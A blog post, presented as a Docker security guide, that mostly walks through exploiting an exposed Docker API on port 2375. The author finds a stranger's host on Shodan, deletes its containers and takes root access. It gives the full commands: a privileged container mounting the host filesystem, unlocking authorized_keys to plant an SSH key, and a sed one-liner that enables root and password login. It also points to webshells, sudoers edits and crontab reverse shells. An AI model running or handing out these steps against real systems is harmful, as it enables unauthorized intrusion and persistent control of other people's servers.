Comprehensive Guide to Docker Security: Preventing Exploits via the 2375 Port Vulnerability

In the previous article, I briefly analyzed how the EXIN mining trojan primarily exploits unauthorized access via the Docker 2375 port to achieve intrusion. Although this vulnerability has been known for a long time and articles discussing its exploitation have existed for over two years, this was my first encounter with it in a real-world scenario. Therefore, I decided to reproduce the attack as a way to gain experience in Docker security.

Docker security

Since Docker is by default not allowed for remote access after installation, many beginners might directly search online articles to enable Docker remote access and then follow the instructions. Although this allows remote access, the 2375 port exposed directly to the public internet is very dangerous, allowing anyone to remotely operate Docker on this host.

As for how to enable Docker remote access, there are many articles online, so I will briefly mention it here.

Docker security

To conveniently reproduce this vulnerability, I plan to directly find a host with an open 2375 port on the public internet for demonstration. Because recently there was a Shodan tenth-anniversary celebration, and a membership could be recharged for one dollar. So here, I will directly search for hosts with the 2375 port open on Shodan.

Here, take the keywords I searched as an example, and finally add the Docker keyword to exclude cases where the 2375 port is used for other purposes, improving search accuracy.

port:”2375″ country:”JP” Docker

Here we randomly select an IP on Shodan for testing.

As you can see, we have successfully tested it, showing the containers currently running on the host. However, it is obvious that someone has already tampered with it before. First, clean up the mining containers, and then we continue.

We use the following command to create a busybox container on the target host, other images are also fine. However, busybox is small in size, faster to pull from the repository, and the commands are complete, making it convenient to use.

docker -H tcp://ip run --rm --privileged -it -v /:/mnt busybox chroot /mnt sh

Here’s a simple explanation of the parameters:

–rm Automatically delete the container when it stops

–privileged Using this parameter, the root inside the container has true root privileges. Otherwise, the root inside the container is just a regular user privilege externally. A privileged container can see many devices on the host and can execute mount. It even allows you to start a Docker container within a Docker container.

-v Mount directory. Format is system directory:container directory

chroot switches the root directory to /mnt, and the final sh is the shell we use.

chattr -aui /root/.ssh/authorized_keys

Here we write the SSH public key of our host. As for how to generate your own SSH public and private keys, I wrote about it in a previous blog, so I won’t elaborate here. The link is

Redis Unauthorized Access Vulnerability Reproduction

The methods for both are the same, writing your public key to the target server.

For convenience, directly use the sed command to modify with one click.

sed -i -e ‘s/\#Port 22/Port 22/g’ -e ‘/^Port 22/a\Port 2433’ -e ‘s/\#PermitRootLogin/PermitRootLogin/g’ -e ‘s/PermitRootLogin no/PermitRootLogin yes/g’ -e ‘s/PermitRootLogin without-password/PermitRootLogin yes/g’ -e ‘s/PermitRootLogin prohibit-password/PermitRootLogin yes/g’ -e ‘s/PasswordAuthentication no/PasswordAuthentication yes/g’ -e ‘s/GSSAPIAuthentication yes/GSSAPIAuthentication no/g’ -e ‘s/GSSAPICleanupCredentials yes/GSSAPICleanupCredentials no/g’ /etc/ssh/sshd_config

systemctl restart sshd

However, this is optional because some cloud hosts do not restrict root login.

Penetration successful!

Quoting some summarized processes from the internet:

  1. Docker runs with root privileges, which is the premise of all methods
  2. When Docker runs a container, it can mount a directory from the host to a directory inside the container. We can refer to the Redis unauthorized access vulnerability, mount the host’s /root/.ssh directory to the container, and then write the public key. If there is a web directory, at worst, you can get a webshell.
  3. Some servers do not allow root login, you can write to other users’ .ssh/ directory (by checking the /etc/ssh/sshd_config directory), then modify the /etc/sudoer file to configure passwordless sudo, switching to root
  4. You can also use crontab to write scheduled tasks to reverse shell